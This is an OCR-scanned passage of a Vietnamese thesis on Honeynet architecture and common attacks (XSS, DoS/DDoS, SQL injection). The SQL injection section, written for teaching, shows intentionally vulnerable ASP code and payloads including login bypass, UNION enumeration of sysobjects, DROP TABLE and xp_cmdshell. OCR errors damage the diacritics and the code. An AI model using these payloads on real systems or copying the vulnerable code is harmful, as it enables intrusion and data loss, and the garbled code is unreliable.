hop 1& vao hang doi dé tiép tuc dugc Snort_inline kiém tra mot lan nira. Snort s&
kiém tra noi dung cac goi tin ndy va so sanh véi cac mau tan cong da duoc luu
trong co s& dir liéu. Khi phét hién thay c6 dau hiéu tan cong thi Snort s& giri yéu
cau toi Iptables chan gai tin nay lai khong cho ra bén ngoai. Bién phéap nay thuc
hién don gian nhung kém linh hoat dé& Iam cho hacker nghi ngo.

e Co ché thay thé géi tin: co ché nay co ban ciing giébng nhu co ché loai bo goi
tin, chi khac ¢ chd: khi phét hién ra tan cong, thay vi guri yéu cau téi IPtables
chan va loai bo goi tin thi Snort_inline s& thay thé, stra d6i noi dung bén trong
goi tin khién n6 vo hai d6i véi hé thong bén ngoai. Snort_inline s& thay d6i mot
vai byte bén trong doan ma khai thac, 1am mat hiéu lyc chiic ning ctia nd va cho
phép no tiép tuc di ra ngoai. Hacker s& thdy cudc tan cong duoc phat dong nhu ¥
mubdn. Bién phap nay cho phép chung ta gianh duoc quyén kiém soét hanh vi
cua ké tin cong tot hon dong thoi né cling hét sic linh hoat khién hacker kho
phat hién hon.
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Tom lai: module diéu khién dir liéu co vai trd hét sic quan trong trong hé thong
Honeynet, thuc hién kiém soat dit liéu di ra bén ngoai hé thdng, kiém soét hoat dong
cua ké tin cong, giup ngin chin ké tin cong sir dung hé thbng mang Honeynet dé tan
cdng hay gay t6n hai cho cac hé théng bén ngoai khéc.

2.2.2.Module thu nhan dir liéu

2.2.2.1.Vai tro - nhiém vu

Thu nhan dit liéu nham kham phé ra k§ thuat xam nhap, tin céng, céng cu va muc
dich cta hacker. Pdng thoi phét hién ra cac 16 hong hé théng, déng vai tro vo cing
quan trong trong Honeynet.

Module thu nhan di liéu thuc hién giam sat va ghi lai cac hanh vi cua ké tan cong
bén trong Honeynet. Nhiing hanh vi d6 duoc t6 chuc thanh nhiing dit lidu co s¢ va la
cot 18i caa viéc nghién ctru va phan tich. Bé c6 nhiéu dit liéu thu nhan va dé thu thap
day du thong tin, chi tiét cac hanh vi cia ké tan céng thi can phai c6 nhiéu co ché thu
nhan dir liéu khac nhau.

Module nay sir dung nhiéu co ché khac nhau dé thu nhan nhiéu loai di liéu khac
nhau. Viéc thu nhan di liéu cé thé dugc thuc hién bang nhiéu phuong thirc nhu:

- Thu nhan dix liéu tir tuong ltra

- Thu nhan dit liéu tir ludng dix liéu mang

- Thu nhan dit liéu tir hoat dong caa honeypot trong hé théng
Pé d¢am bao Honeynet hoat dong tot thi yéu cau dbi vai module thu nhan dit liéu:

- Thu nhan cang nhiéu di liéu cang tot

- Dbam bao tinh chinh xac, san sang

- Che dau d6i voi hacker

2.2.2.2.Co ché

Nham dép ang cac yéu cau cua viéc thu nhan dit liéu, module thu nhan di lidu
thuc hién thu nhan dit liéu trong Honeynet dua trén ba tang :

- Thu nhan tr tuong lta (st dung nhat ky cua tueong lta — Firewall Log).

- Thu nhan tir ludng mang (nhd cdng cu Snort).
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- Thu nhan tir hoat dong cua cac Honeypot trong hé théng (nho vao Sebek client

- server).
eth0 HoneyWall |
[PTables \, Firewall Log
Snort_inline 4 Swatch
N IPTables Sebek Svr |- 1 eth2|---s Administrator
s System Activity___# f ’
v AlTraffic ~ "
ethl ¥
T Snort for Sniff
Sebek Client ~ p-----nsmemmee- — Sebek Client
System Activity Report [ | L. %)
Honeypot pmalt s Honeypot Black to black-hats

Hinh 2.2.2.2a - So d6 thu nhan dit liéu
a. Thu nhan tr tuong lua (Firewall)
Firewall cho phép thu nhan dir liéu rat tot boi vi tat ca ludng dit liéu déu phai qua no.
Céc thdng tin ma Firewall ghi lai bao gom :
- Dija chi IP ngudn caa gai tin (co thé 1a dia chi IP cua may tinh hacker).
- Diachi IP dich cua goéi tin (thuong 1a dia chi cia cac Honeypot).
- Giao thic truyén thong duoc sir dung (thudng 1 cac giao thic truyén thong cua
cac dich vu mang ma Honeypot dugc xay dung dé hacker tan cong).
- Cong ngudn cua gai tin
- Cong dich cua goi tin ( thuong 12 sé céng cua cac giao thirc mang ma Honeynet
mé dé cho phép hacker tan cong).
- Thoi diém dién ra cudc tan cong (dua trén thoi gian cua gai tin).

b. Thu nhan dit liéu tir ludng mang (nhd cdng cu Snort)
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Trong Honeynet ting thu nhan di liéu nay dwgc thuc hién bai Snort duoc cau hinh
& ché do thu nhan tat ca cac gdi tin trong mang. Vai trd quan trong nhét cua Snort 1a
thu nhan tat ca ludng dir liéu mang vao - ra hé théng Honeynet. Snort duoc st dung dé
bit va ghi nhan moi goi tin trén duong truyén. Snort thuc hién ling nghe trén toan
mang dé bat giir va kiém tra noi dung cua tt ca cac goi tin qua no.

c. Thu nhan dix liéu hoat dong trén cac Honeypot

Nhiém vu cua module thu nhan dir liéu la ghi lai toan bo cac hoat dong cua hacker
tuong tac voi hé thdng Honeynet. Ching ta c6 thé chia cac hoat dong tuong tac thu
thap théng tin thanh 4 mirc sau:

- Hoat dong muac mang

- Hoat dong muc hé thdng

- Hoat dong muc ung dung

- Hoat dong murc nguoi dung

Hai tang thu nhan di liéu duoc trinh bay & trén (thu nhan di liéu tir twong hira va
thu nhan di liéu tir ludng mang) thuc hién thu nhan dugc cac hoat dong mirc mang.
Tang thu nhan di liéu thir ba ndy s& thu nhan cac hoat dong mic hé thdng, hoat dong
muc ¢ng dung va hoat dong mic nguoi dung. Py chinh 13 ting thu nhan dir liéu chu
yéu trong Honeynet.

Pé thu nhan duoc dir liéu tir cac Honeypot, Honeynet di sir dung cong cu Sebek
client - server thuc hién cong viéc nay. Trong d6 Sebek server da tich hop trong
Honeywall, con Sebek client Ia mét chuong trinh hoat dong nhu mot rookit, duwoc cai
dat trén Honeypot, c6 kha nang an cac tién trinh, file va ca dir liéu trong registry (Véi
Windows), ghi lai cac thong sé vé két ndi mang, thuc hién giam sat tat ca cac hoat
dong, cac két néi mang cua Honeypot va giri cac thong tin thu thap duoc vé Sebek

Server.

28



Internet

Intruder

Intruder uses SSH 10 protect communications

;o =« Copy of intruder activity covertly exported onto LAN e« ) Honeywall
' Gateway
\ Sebek Server

Honeypot A Honeypot B Honeypot C

Hinh 2.2.2.2b - M6 hinh hoat dong cua Sebek
Toém lai: module thu nhan di liéu thuc hién nhiém vu thu nhan dit liéu nham kham
pha ra cac ky thuat tan cong, cong cu va muc dich cua hacker. Bong thoi phat hién ra
cac 16 hong hé thdng, dong vai trd vo cling quan trong trong Honeynet.
2.2.3.Module phan tich dir li¢u
2.2.3.1.Vai tro - nhiém vu

Vai tro caa module phan tich dir liéu trong Honeynet nham hd trg ngudi phan tich

thue hién viéc sang loc, thu gon dit liéu nham loai bo nhiing dit liéu du thira dé dé dang
tim ra méi twong quan giira cac dix liéu nham phét hién ra vin dé trong tm can phan
tich (nhu dit liéu lién quan dén qua trinh tan cong hay hoat dong bat hop phap cua
hacker).

Déi vai hé thong Honeynet, néu ké tan cong sir dung ky thuat tin cong mai hay
cdng cu tan cdng moi thi Honeynet luu giit lai toan bo céac dit lidu vé qua trinh thuc
hién tin cong nay cua hacker. Do d6, ngudi quan tri c6 thé sir dung cac dit liéu nay dé
phan tich tim ra co ché, muc dich, cong cu, phuong phap cta cudc tan cong, tham chi
c6 thé xay dung cac mau tin cdng méi dé cap nhat cho hé thdng IDS gilp cho IDS

phat hién ra tan cong mai nay néu tiép tuc gap lai ¢ lan sau.
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Honeynet cung cap cho chiing ta mot s6 cong cu nhu Hflow, Walleye dé hd tro ngudi
quan tri d& dang phén tich, tim ra co ché, muc dich, cong cu va phuong phép tin cong
cua hacker.

<N https://172.16.1.10/walleye. p?act-overview - Microsoft Internet Explorer,

File Edit View Favorites Tools  Help ¥

eBack o > \ﬂ \ELI _;\J /..-\JSearch ‘:‘/'1'\'( Favorites 6‘3 ] - :,; 3
Address ,@jhttps:,l',l'l?2.16.1.ID,I'walleye.pl?act=0verview “ Go Links ™
The Honeynet

Fri
Walleye: Honeywall Web Interface ,

Data Analysis System Admin Documentation

Online Honeywalls

Honeywall: 1007998568 Created: Fri Feb 10 04:52:50 2012 Last Update: Fri Feb 10
06:18:40 2012

Bidireckional Flows Total Flows 2000
In COut In Out
con  ids con  ids con  ids con  ids 1oog
1 a a a a a 1) alal, a 0
Hour 6100 14200 22:00 CHT
Hoz‘jr @ @ @ w w UL @ [ kBytes Transfered [EIN-10 Alerts

Time . |Feb 8201206:2339 e Feb 102012 06:23:39

IF Proto |ANY v|

e ] [ )
i [

Fesult Format

| Pcap File V|

&l 2 & Internet

';"; start [ # root@localhost et 2 httpsiff172.16,1,10f... B "9y 1:23PM

Hinh 2.2.3.1 - Giao dién web Walleye
2.2.3.2. Coché
Honeynet hd trg hai céng cu sau dé thuc hién qué trinh phan tich dir liéu
- Mot 1a Hflow: c6 kha niang tw dong két hop dit liéu
- Hai la Walleye: c6 kha ning bao cao, thong ké thdng qua giao dién web than
thién vai nguoi dung.

Ca hai cdng cu nay déu duoc tich hop sin trén Honeywall.
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Hinh 2.2.3.2 — So do kién trdc Honeywall

Hflow c6 nhiém vu két hop dit liéu tir module thu nhan dit liéu gui vé, chuan hoa
dit liéu va Iuu vao co so dit liéu.

Walleye c6 nhiém vu lay dit liéu thu thap duoc, da dugc Hflow chuan héa trong co
s& dir liéu dé cung cap cho ngudi phan tich théng qua giao dién web. Nho vy, ma
ngudi phan tich c6 thé nim duoc khung canh chung cac hoat dong caa hé théng, chi
tiét cac hoat dong trong mang.

Toém lai: module nay c6 nhiém vu hd tro nguoi phan tich thuc hién viéc sang loc,
thu gon dit liéu nham loai bo nhitng dit liéu du thira, hd tro phan tich di liéu thu nhan
duoc nham dua ra: k¥ thuat, cong cu va muc dich tin céng cua hacker.

Két luan: & chuong nay cua dé tai da trinh bay vé md hinh kién tric va nguyén Iy hoat
dong cua hé théng Honeynet. Qua d6, giup chung ta hiéu siu hon vé qua trinh 1am
viéc, hoat dong cua Honeynet. Dé thuc hién tot muc dich cua dé tai 1a nghién ctu

Honeynet nham muc dich phong chong va phat hién tan cong thi bén canh viéc nghién
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ctru Honeynet, chung ta cling can phai c6 kién thac, hiéu biét nhat dinh vé nhiing

huéng tin cdng phd bién hién nay ma hacker sir dung.
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CHUONG III: MOT SO KY THUAT TAN CONG PHO BIEN HIEN NAY

3.1.TAN CONG XSS (CROSS SITE SCRIPTING)
3.1.1.Gioi thi¢u

Cross-Site Scripting hay con dwgc goi tit 1a XSS (thay vi goi tit 1a CSS dé tranh
nham 14n v&i CSS-Cascading Style Sheet cia HTML) 1a mét ki thudt tin coéng bang
cach chén vao cac website dong (ASP, PHP, CGl, JSP ...) nhitng thé¢ HTML hay nhiing
doan ma script nguy hiém cé kha ning danh cap hay thiét 1ap dugc nhimng thong tin
quan trong nhu cookies, mat khau, usename.... Trong do, nhitng doan ma nguy hiém
duoc chén vao hau hét duoc viét bang cac Client-Site Script nhu JavaScript, JScript,
DHTML va ciing c6 thé 1a ca cac thé¢ HTML.

3.1.2.Phwong phap tin cdng XSS truyén théng

Khac véi céc 151 khac 1a gay hai truc tiép 18n hé théng chira web site, con XSS lai
khong gay hai dén hé thong cua sever ma dbi twong tan céng cha yéu caa XSS lai la
nguoi dung.

Ung dung Web thuong luu trir théng tin quan trong & cookie. Cookie 14 mau théng
tin ma tng dung luu trén dia cing cua ngudi sir dung. Nhung chi ung dung thiét lap ra
cookie thi méi ¢6 thé doc né. Do d6 chi khi nguoi ding dang trong phién 1am viéc cua
ing dung thi hacker méi c6 co hoi danh cap cookie. Cong viéc dau tién cua hacker la

tim trang dich dé du nguoi dung dang nhap sau khi di tim ra 16 hong trén wng dung do.
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Hinh 3.1.2 — Cac budc khai thac XSS theo truyén thong

Tom tit cac budc thuc hién:

e Budc 1: Hacker biét duoc nguoi dung dang str dung mot tng dung Web ¢6 16
hong XSS.
e Budc 2: Nguoi dung nhan dugc mot lién két théng qua email hay trén chinh
trang Web (nhu trén banner dé dang thém 1 lién két do chinh hacker tao ra...).
e Budc 3: Chuyén noi dung thong tin (cookie, tén, mat khau...) vé may chu cua
hacker.
e Budc 4: Hacker tao mot chuong trinh cgi hodc mot trang web dé ghi nhan
nhimng thong tin da danh cap vao mot tap tin
e Budc 5: Sau khi nhan dugc thong tin can thiét, hacker c6 thé s dung dé tham
nhap vao tai khoan cia nguoi dung.
3.1.3.Bién phap phong chéng
Véi nhiing dit liéu, thong tin dang nhap cua nguoi dung, ngudi thiét ké ang dung
Web can phai thuc hién vai budc co ban sau:
e Tao ra danh sach nhitng thé HTML duoc phép sur dung.

e Xo0a bo thé <script>
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e Loc ra bat ki mot doan ma JavaScript/Java/VBScript/ActiveX/Flash Related
nao.

e Loc dau nhay don hay kép.

e Loc ki tu Null ( vi kha ning thém mot doan ma bat ki sau ki tu Null khién cho
ing dung du da loc bo thé <script> van khdng nhan ra do ung dung nghi rang
chudi da két thic tir ki tu Null nay).

e X6a nhiing Ki tu «> 7, «“<”

e Van cho phép nhap nhitng ki tu dic biét nhung s& duoc ma hoa theo chuan
riéng.

e Dbi voi nguoi dung, can cau hinh lai trinh duyét dé nhac nhé nguoi ding c6 cho
thuc thi ngén ngir kich ban trén may cua ho hay khéng? Tuy vao muc do tin
cdy ma nguoi dung s& quyét dinh.

Nhan xét: ki thuat XSS kha pho bién va dé dang &p dung, tuy nhién muac do thiét hai
chi dung lai & mirc do tn cong trén may nan nhan thdng qua nhitng lién két hay form
lra dao ma hacker dua dén cho nan nhan. Vi thé, ngoai viéc tng dung kiém tra tinh
dung dan cua dir lidu truée khi st dung thi viéc can nhat 1a nguoi ding nén canh giac
trudC Mot trang Web la.

C6 thé noi, nhd vao sy canh giac cia nguoi dung thi 90% da dat duoc sy bao mat

trong ki thuat nay.

3.2.TAN CONG DoS (DENIAL OF SERVICE)

3.2.1.Khai niém

Tan cong kiéu DoS Ia kiéu tan cong lam cho céc dich vu mang bi té liét, khéng con kha
ning dap Gmg duoc yéu cau nira. Loai tan cong ndy anh hudng dén nhiéu hé thong, rat
dé thuc hién va lai rat knd bao vé hé théng khoi kiéu tin cong DoS. Thong thudng,
kiéu tin cong Dos dya trén nhirng giao thirc.Vi du véi giao thirc ICMP, hacker cd thé
st dung bomb e-mail dé gui hang ngan thong diép email véi muyc dich tiéu thy bang
thong dé 1am hao hyt tai nguyén hé thong trén mail server hoac cé thé ding phan mém

guri hang loat yéu cau dén may cha khién cho méy chu khdng thé dap tng nhitng yéu
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cau chinh dang khac.

3.2.2.Nhirng nguy co bi tAn cdng bang DoS

e Tan cong trén Swap Space: hau hét cac hé théng déu co vai trim MB khong
gian chuyén d6i ( swap space) dé phuc vu cho nhitng yéu ciu tir may khach.
Swap space thuong dung cho céc tién trinh con c6 thoi gian ngan nén Dos duoc
thuc hién dya trén phuong thirc 1am tran day swap space.

e Tan cong trén Bandwidth: phan biang théng danh cho mdi hé thong la gisi han,
vi thé néu hacker cuing luc giri nhiéu yéu cau dén hé thong thi phan bang thong
khong du dap wng cho mot khéi lwong dit liéu 1on d6 va dan dén hé thong bi pha
VO.

e Tan codng vao Ram: tan céng Dos chiém mot khoang 16n cua Ram ciing c6 thé
gay ra cac van dé pha hay hé théng. Kiéu tan cong BufferOverflow 1a mot vi du
cho cach pha huy nay.

e Tan cong vao Disks: mot kiéu tan cong co dién 1a lam day dia cung. Pia ctng
c6 thé bi tran va khdng thé st dung duoc nita.

3.2.3.M#t s6 dang tan cong thwong gip
3.2.3.1.Loi dung TCP thuc hién phuong phap SYN flood truyén théng

Ké tan cong Nan nhan

TGP Client TCP Server

(@) sYN/acK )

Hinh 3.2.3.1 - Tan cong DoS truyén thong
Bat cir mot goi tin SYN nao, may chu ciing phai d¢ mot phan tai nguyén cuaa hé
théng nhu bo nhd dém dé nhan va truyén dit liéu cho duong truyén dé. Tuy nhién, tai

nguyén cua hé thong 1a c6 han va hacker s& tim moi cach dé hé thong vuot qua gidi
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han d¢6. Néu may cha sau khi giri tra mot goi tin SYN/ACK dé thong bao chap nhan két
ndi cho méy yéu cau nhung néu dia chi IP cia may yéu cau nay Ia gia mao thi goi tin
khong thé dén dugc dich nén may chii van phai danh tai nguyén cho yéu cau d6. Sau
mét thoi gian khdng nhan duoc phan hoi tir may khéach, may chu lai tiép tuc gui mot
g6i tin SYN/ACK dé xac nhan 1an nita va cir nhu vay, két ndi van tiép tuc mo.

Néu nhu hacker giri nhiéu g6i tin SYN dén may cha dén khi may chu khong thé
tiép nhan thém mot két ndi nao nixa thi ldc nay hé thng da bi phé va.

T6m lai: chi véi mot duong truyén bang théng nho, hacker da c6 thé pha v mot
hé théng. Thém vao d6, dia chi IP cua hacker c6 thé duoc stra d6i nén viéc xac dinh thu
pham 12 mot van dé hét sirc kho khan.

3.2.3.2.T4n cong vao bang thong

a. DoS
May tinh mang May tinh mang
I E May tinh mang
Internet Router Nan nhan

e Mé.y tinh mang

May tinh mang t May tinh mang

Hinh 3.2.3.2a — Kiéu tin cong DoS vao bang thong

Kiéu tin cong nay duoc str dung khi dudng truyén mang caa hacker 1a qua thap so
v6i duong truyén ciia may dich. Khong giéng nhu kiéu tan cong DoS truyén thong,
kiéu tin cong vao bang thong 16n hon s& lgi dung nhitng goi tin tir nhitng hé thdng
khac nhau cling mét luc tién dén hé théng dich khién cho duong truyén cua hé thong
dich khong con kha nang dap (ng, may chu khong con kha nang nhan mét goi tin nao
nira.

b. DDoS
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Ké tdn cdng =
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Ké t4n cdng

Hinh 3.2.3.2b — T4n cong DDoS

Theo hinh trén, tit ca cac géi tin di vao mot mang may tinh qua mot "Big Pipe"
(6ng dan 16n), sau d6 dugc router chia ra nhitng "Small Pipe" (6ng dan nho) cho nhiéu
may tinh con tuy theo dia chi IP cia goi tin. Nhung néu toan bo "Big Pipe" bi 1am ngap
bang nhitng g6i tin chi huéng dén mot may nhat dinh trong mang may tinh con nay,
router danh phai chap nhan loai b phan 16n cac packet dé chi con lai s luong vira du
di qua "Small Pipe" cua mdy tinh d6. Kiéu tin cong nady sé& loai may dich ra khoi
Internet. Pay 1a phuong phap tan cong kiéu tir chdi dich vu nhung khong goi 1a DoS
ma goi la DDoS ( kiéu tir chdi dich vu phan tan ), nghia 1a cting mét ldc nhiéu may sé
duoc phat dong dé giri goi tin dén may dich ( mic du duong truyén caa mdi may khong
cao nhung nhiéu duong truyén lai hop thanh mot ng dan “ Big Pipe” ), lam cho may

dich khong con kha nang tiép nhan gai tin va bi loai khoi mang Internet

c. DRDoS
DRDoS (Distributed Reflection Denial of Service) - Thé hé tiép theo cua DdoS
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Hinh 3.2.3.2c — T4n c6ng kiéu DRD0S
Bang cach gia dia chi IP ciia may dich, hacker s& clng lic gui nhiéu géi tin dén
cac hé thong may trén mang, cac hé thong nay khi nhan géi tin SYN gia nay, chap
nhan két néi va gui tra mot goi tin SYN/ACK dé thong bao. Vi dia chi IP cua goi tin
SYN bj hacker stra d6i thanh dia chi IP méay dich nén nhitng goi tin SYN/ACK s& duoc
gui vé cho may dich. Cung mét Iic nhan duoc nhiéu g 6i tin, dudng truyén cia may
dich khong du kha ning dap (ng, hé thong may dich tir chbi nhan bat ki g6i tin nao va
lic nay hé théng may dich da bi sup do.
3.2.3.Bién phap phong chéng
Kiéu tan cong tir chdi dich vu 1 kiéu tan céng gay nhiéu kho khin trong van dé bao
vé ciling nhu diéu tra tim ra thit pham nhat, béi vi hau hét hacker da thay doi dia chi IP

ctia may nén rat kho xac dinh ai 1a tha pham.

Céch phong chdng kha ning khuyéch dai dudng truyén:

e Huy kha nang broadcast tai router bién

39



e Ting kich thuéc hang doi két ndi > két qua: c6 thé phong tranh kha nang tran
hang doi qua nhiéu két ndi nhung cach nay st dung nhiéu tai nguyén

e Giam thoi gian thiét 1ap két noi

e Dung nhitng phan mém phat hién va pha hay kiéu tin céng DoS

Nhan xét: kiéu tan cong tir chdi dich vu tuy chi khién cho hé thdng bi phé v& trong
vai phut nhung hau qua thi kha to 16n (anh huéng trén pham vi tién va uy tin). Pay 1a
ki thuat thuong duoc hacker str dung trong trudng hop khdng thé chiém quyén quan tri
trén hé thong hozc mudn pha huy uy tin ctua co quan d6. Thém vao d6 viéc gia mao dia
chi khién cho hacker cang dé& dang thuc hién viéc tin cong ma khdng so bi phat hién.
3.3.TAN CONG SQL INJECTION

3.3.1.Khai niém

SQL Injection 1a mét ki thuat cho phép nhiing ké tan cong loi dung 16 hong trong
viéc kiém tra dit liéu nhap trong céc tng dung web va cac théng béo 15i caa hé quan tri
co s& dir ligu dé "tiém vao" va thi hanh cac cau lénh SQL bt hop phap (khong dugc
ngudi phat trién ung dung luong trudc). Hau qua caa nd rat tai hai cho phép nhiing ké
tan cong chiém quyeén kiém soat web. Li nay thudng xay ra trén cac ang dung web ¢
dir liéu duoc quan i bang cac hé quan tri co s¢ dit liéu nhu SQL Server, MySQL,
Oracle, DB2, Syshase.

Vé ban chat, day 1a 15i ton tai trong cac hé quan tri co sé dir liéu ( SQL server,
MySQL, Oracle ...). Tuy nhién, ching ta c6 thé khiac phuc 15i ndy bing cach kiém tra
dir liéu dugc nhap vao trén rng dung Web.

3.3.2.C4c dang tan cdng bang SQL Injection

C6 bon dang thong thuong bao gom: vuot qua kiém tra luc ding nhap (authorization
bypass), st dung cau lén SELECT, st dung cau Iénh INSERT, sir dung céc stored-

procedures.

3.3.2.1.Dang tn cong vuot qua Kiém tra ding nhap

40



Véi dang tan cong nay, tin tic c6 thé dé dang vuot qua cac trang ding nhap nho
vao 16i khi dung cac cau Iénh SQL thao tac trén co s dit liéu cia tng dung web.

Xét mot vi du dién hinh, thong thudng dé cho phép ngudi ding truy cap vao cac
trang web dugc bao mat, hé thdng thuong xay dung trang dang nhap dé yéu cau nguoi
ding nhap théng tin vé tén dang nhap va mat khau. Sau khi nguoi dung nhap théng tin
vao, hé théng s& kiém tra tén ding nhap va mat khau c6 hop 1é hay khong dé quyét
dinh cho phép hay tir chdi thuc hién tiép.

Trong trudng hop nay, ngudi ta c6 thé dung hai trang, mot trang HTML dé hién thi
form nhap liéu va mot trang ASP dung dé xt Ii théng tin nhap tir phia nguoi ding.

Vi du:

login.htm

<form action="ExecLogin.asp" method="post">

Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">

</form>

execlogin.asp

<%

Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME="" & vUsrName & _
"*'and USR_PASSWORD="" & vPassword & """
Set 0bjRS = Server.CreateObject("ADODB.Recordset")
0bjRS.Open strSQL, "DSN=..."

If (objRS.EOF) Then

Response.Write "Invalid login."

Else

Response.Write "You are logged in as " & objRS("USR_NAME")
End If

Set 0bjRS = Nothing

%>

Thoat nhin, doan mé trong trang execlogin.asp duong nhu khong chta bat cir mot
15 hdng vé an toan nao. Nguoi ding khdng thé diang nhap ma khéng co tén ding nhap

va mat khau hop 1&. Tuy nhién, doan ma nay thuc su khdng an toan va la tién dé cho
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mét 15i SQL Injection. Pac biét, chd so hd nam & chd dix liéu nhap vao tir nguoi ding
duoc dung dé xay dung truc tiép cau 1énh SQL. Chinh diéu nay cho phép nhitng ké tan
cong cd thé diéu khién cau truy van s& duoc thuc hién. Vi dy, néu ngudi ding nhap
chudi sau vao trong ca 2 6 nhap liéu username/password cua trang login.htm la:
"OR''="". Llc nay, cau truy van s& dugc goi thuc hién Ia:

SELECT * FROM T USERS WHERE USR NAME =" OR "=" and
USR_PASSWORD="OR "="

Cau truy van nay |a hop ¢ va s& tra vé tat ca cac ban ghi cia T_USERS va doan ma
tiép theo xur Ii nguoi dung dang nhap bat hop phap nay nhu 1a nguoi ding ding nhap
hop Ié€.

3.3.2.2.Dang tan cbng sir dung cau lénh SELECT

Dang tin cdng nay phtc tap hon. Bé thuc hién duoc kiéu tan cong nay, ké tan cong

phai c6 kha nang hiéu va loi dung cac so hd trong cac thong béo 15i tir hé théng.

Xét mot vi du rat thudng gap trong cac website vé tin tirc. Thong thuong, s& ¢6 mot
trang nhan ID caa tin can hién thi rdi sau d6 truy van noi dung caa tin c6 ID nay. Vi
du: http://www.myhost.com/shownews.asp?1D=123. Ma nguon cho chic ning nay
thuong duoc viét kha don gian theo dang
<%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL ="SELECT * FROM T_NEWS WHERE NEWS _ID =" & vNewsID
Set objRS = Server.CreateObject("ADODB.Recordset")

0bjRS.Open strSQL, "DSN=..."

Set 0bjRS = Nothing

%>

Trong céc tinh hudng théng thuong, doan ma nay hién thi noi dung cua tin ¢6 1D
tring voi ID da chi dinh va hau nhu khong thay c6 15i. Tuy nhién, giéng nhu vi du
ding nhap ¢ trude, doan ma nay dé 16 so hd cho mot 16i SQL Injection khéac. Ké tan

cong cd thé thay thé mot 1D hop 1é bing cach gan 1D cho mét gié tri khac va tir do,
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khoi dau cho mot cudc tan céng bat hop phap, vi du nhu: 0 OR 1=1 (nghia la,
http://www.myhost.com/shownews.asp?ID=0 or 1=1).

Cau truy van SQL ldc nay sé tra vé tat ca céc article tir bang dit liéu vi n6 sé& thuc
hién cau Iénh:
SELECT * FROM T_NEWS WHERE NEWS _ID=0or 1=1

Mot trudng hop khéc, vi du nhu trang tim kiém. Trang nay cho phép ngudi ding
nhap vao c4c thdng tin tim kiém nhu Ho, Tén, ... Poan ma thuong gap la:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME ='" & _
vAuthorName & "' "
Set 0bjRS = Server.CreateObject("ADODB.Recordset")
0bjRS.Open strSQL, "DSN=..."

Set 0bjRS = Nothing
%>

Tuong tu nhu trén, tin tic c6 thé loi dung so hd trong cau truy van SQL dé nhap
vao trudng tén tac gia bang chudi gia tri:

"UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=" (*)

Ldc nay, ngoai cau truy van dau khong thanh cong, chuong trinh sé& thuc hién thém
lénh tiép theo sau tir khéa UNION nita.

Tat nhién cac vi du néi trén, duong nhu khong cé gi nguy hiém, nhung hiy thir
tudng tuong ké tin cong c6 thé xda toan bd co s dir lieu bang cach chén vao cac 1énh
nguy hiém nhu 1énh DROP TABLE. Vi du nhu: * DROP TABLE T_AUTHORS --

Chic cac ban s& thic mac 1a 1am sao biét duoc tng dung web bi 15 dang nay dugc.
Rat don gian, hdy nhap vao chudi (*) nhu trén, néu hé thdng bao 15i vé cl phap dang:

Invalid object name “OtherTable”; ta c6 thé biét chic 1a hé théng di thuc hién cau
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SELECT sau tir khoa UNION, vi nhu vay méi c6 thé tra vé 161 ma ta da cd tinh tao ra
trong cau lénh SELECT.

Ciing s& ¢6 thac mac 1a 1am thé nao cd thé biét dugc tén cua cac bang dir lisu ma
thuc hién céc thao tac pha hoai khi ung dung web bi 15i SQL injection. Ciing rat don
gian, bai vi trong SQL Server, c6 hai dbi twong 1a sysobjects va syscolumns cho phép
lict ké tat ca cac tén bang va cot co trong hé théng. Ta chi can chinh lai cau Iénh
SELECT, vi du nhu:

* UNION SELECT name FROM sysobjects WHERE xtype = 'U' la c6 thé liét ké duoc
tén tat ca cac bang dit liéu.
3.3.2.3.Dang tin cdng sir dung cu lénh INSERT

Thong thuong céc ung dung web cho phép nguoi dung ding ki mot tai khoan dé
tham gia. Chirc nang khong thé thiéu 1a sau khi dang ki thanh cong, ngudi ding cd thé
xem va hiéu chinh thdng tin cia minh. SQL injection cé thé dugc dung khi hé thng
khong kiém tra tinh hop 1¢ cua thdng tin nhap vao.

Vi du, mot cau Iénh INSERT c6 thé cé ci phap dang: INSERT INTO TableName
VALUES('Value One', 'Value Two', 'Value Three'). Néu doan ma xay dung cau lénh

SQL cé dang :

<%

strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & "', """ _
& strValueTwo & "', ' " & strValueThree & " ") "

Set 0bjRS = Server.CreateObject("ADODB.Recordset™)
0bjRS.Open strSQL, "DSN=..."

Set 0bjRS = Nothing
%>

Thi chéc chin s& bi 16i SQL injection, bai vi néu ta nhap vao trudng thir nhat vi du
nhu: ' + (SELECT TOP 1 FieldName FROM TableName) + '. L{ic nay cau truy van s&
la: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM

TableName) + * ', ‘abc’, 'def'). Khi @6, lac thuc hién l1énh xem thong tin, xem nhu ban
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da yéu cau thuc hién thém mot 1énh nita d6 1a: SELECT TOP 1 FieldName FROM
TableName

3.3.2.4.Dang tin cong st dung stored-procedures

Viéc tin cdng bang stored-procedures s& gay tac hai rat 16n néu ung dung dwgc
thuc thi véi quyén quan tri hé thong 'sa’. Vi du, néu ta thay doan ma tiém vao dang: ' ;
EXEC xp_cmdshell ‘cmd.exe dir C: . LGc ndy hé thong s& thuc hién 1énh liét ké thu
muc trén 6 dia C:\ cai dat server. Viéc pha hoai kiéu ndo tuy thuoc vao cau lénh dang
sau cmd.exe.

3.3.3.Céch phong tranh

Nhu vay, c6 thé thiy 16i SQL injection khai thac nhitng bat can cua céc lap trinh
vién phat trién ang dung web khi xir Ii cac dit liéu nhap vao dé xay dung cau lénh SQL.
Téc hai tir 16i SQL injection tiy thuéc vao mai trudng va cach cau hinh hé thng. Néu
tng dung st dung quyén dbo (quyén cia ngudi s¢ hitu co so dit liéu - owner) khi thao
tac dit liéu, nd co thé xda toan bo céc bang dir liéu, tao cac bang dir liéu mai, ... Néu
rng dung st dung quyén sa (quyén quan tri hé théng), n6 co thé diéu khién toan bo hé
quan tri co s dir liéu va vai quyén han rong 16n nhu vay nd c6 thé tao ra céc tai khoan
ngudi dung bat hop phap dé diéu khién hé thong cua ban. Dé phong tranh, ta c6 thé
thuc hién ¢ hai muc:

